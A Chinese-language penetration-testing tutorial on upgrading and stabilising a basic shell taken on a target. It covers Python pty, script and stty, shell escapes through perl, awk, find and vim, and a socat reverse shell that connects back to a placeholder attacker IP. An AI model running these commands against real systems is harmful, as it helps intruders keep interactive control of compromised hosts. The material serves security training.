交互式shell
概念
在上一节中,我们已经与目标建立了一个 shell 会话。
但是,通过 nc、webshell、命令执行漏洞拿到的 shell,通常只是一个基础 shell,可能存在以下问题:
- 没有完整 TTY
- 没有命令提示符
- 无法正常使用
sudo/su vim、less、top等交互式程序异常- Ctrl+C、Tab 补全、方向键、清屏异常
- 没有 job control
因此,拿到 shell 后通常需要做两件事:
- 生成交互式 shell
- 升级 TTY / 稳定 shell
判断是否存在tty
使用下面的命令判断当前 shell 是否拥有完整终端:1
tty
如果显示not a tty,则说明无完整tty
如果显示类似:/dev/pts/0,说明存在tty
升级 TTY / 稳定 Shell
这类方法的作用是:
给当前 shell 补一个伪终端,使其更接近正常 SSH 登录后的终端。
适用于:
1 | tty |
显示:
1 | not a tty |
或者出现以下情况:
sudo/su无法正常交互- 密码输入异常
vim/less/top无法正常使用- Ctrl+C 会断开 shell
- 方向键、Tab 补全、清屏异常
使用 Python pty 升级 TTY
如果目标机存在 Python,可以使用:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
如果没有 bash:
1 | python3 -c 'import pty; pty.spawn("/bin/sh")' |
如果系统只有 Python2:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
或者:
1 | python -c 'import pty; pty.spawn("/bin/sh")' |
说明:pty.spawn() 可以创建一个伪终端,并在伪终端中启动指定 shell。
使用 script 升级 TTY
如果目标机没有 Python,但存在 script 命令,可以使用:
1 | script -qc /bin/bash /dev/null |
如果没有 bash:
1 | script -qc /bin/sh /dev/null |
有些系统需要写完整路径:
1 | /usr/bin/script -qc /bin/bash /dev/null |
参数说明:
- -q 静默模式
- -c /bin/bash 执行 /bin/bash
- /dev/null 不保存终端记录
作用:通过 script 创建伪终端,并在其中启动 bash。
完整稳定化流程
只执行 python pty 或 script 后,shell 可能仍然不够稳定。
通常还需要配合攻击机本地的 stty。
拿到 shell 后,先在目标 shell 中执行:
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
或者:
1 | script -qc /bin/bash /dev/null |
然后按:
1 | Ctrl + Z |
回到攻击机终端后执行:
1 | stty raw -echo; fg |
回到目标 shell 后输入:
1 | reset |
然后设置终端环境:
1 | export TERM=xtermstty rows 40 columns 120 |
最终效果会更接近正常 SSH 终端。
生成交互式 Shell
这类方法的作用是:
从当前命令执行环境中启动一个 shell。
常见于:
- 反弹 shell 后没有提示符
- webshell 中想调用系统 shell
- 某些程序支持执行系统命令
- 受限环境中需要逃逸到
/bin/sh
注意:
这些方法通常只能生成交互式 shell,不一定能补全 TTY。
/bin/sh -i
1 | /bin/sh -i |
常见回显:
1 | sh: no job control in this shell |
说明当前 shell 虽然可以交互,但没有完整 job control。
/bin/bash -i
1 | /bin/bash -i |
如果目标系统存在 bash,优先使用 bash:1
/bin/bash -i
如果没有 bash,再使用 sh:
1
/bin/sh -i
1 | /bin/sh -i |
Perl 生成 Shell
如果目标系统存在 Perl,可以使用 Perl 执行 shell:
1 | perl -e 'exec "/bin/sh";' |
或者:
1 | perl -e 'exec "/bin/bash";' |
Ruby 生成 Shell
如果目标系统存在 Ruby,可以使用:
1 | ruby -e 'exec "/bin/sh"' |
或者:
1 | ruby -e 'exec "/bin/bash"' |
Lua 生成 Shell
如果目标系统存在 Lua,可以使用 os.execute 执行 shell:
1 | lua -e 'os.execute("/bin/sh")' |
或者:
1 | lua -e 'os.execute("/bin/bash")' |
awk 生成 Shell
awk 也可以调用系统命令启动 shell:
1 | awk 'BEGIN {system("/bin/sh")}' |
或者:
1 | awk 'BEGIN {system("/bin/bash")}' |
find 生成 Shell
find 可以通过 -exec 参数执行 shell:
1 | find . -exec /bin/sh \; -quit |
或者:
1 | find . -exec /bin/bash \; -quit |
如果目标环境中某些命令可以通过 find 调用,也可以配合 awk:
1 | find . -name nameoffile -exec awk 'BEGIN {system("/bin/sh")}' \; |
Vim 逃逸到 Shell
如果当前环境可以运行 vim,可以使用:
1 | vim -c ':!/bin/sh' |
或者进入 vim 后执行:
1 | :set shell=/bin/sh:shell |
如果目标系统有 bash,也可以改成:
1 | :set shell=/bin/bash:shell |
辅助改善交互体验
rlwrap
rlwrap 是在攻击机上使用的,不是在目标机上使用。
普通监听:
1 | nc -lvnp 1234 |
可以改成:
1 | rlwrap -cAr nc -lvnp 1234 |
作用:
1 | 改善方向键、历史命令、退格等输入体验。 |
注意:
1 | rlwrap 不能真正给目标 shell 创建 TTY,只是改善攻击机本地输入体验。 |
2socat 获取更完整 TTY
如果目标机和攻击机都有 socat,可以使用 socat 建立更稳定的 TTY shell。
攻击机监听:
1 | socat file:`tty`,raw,echo=0 tcp-listen:4444 |
目标机反连:
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444 |
socat 效果通常比普通 nc 更好,但目标机不一定安装。
检查目标机是否存在 socat:
1 | which socat |
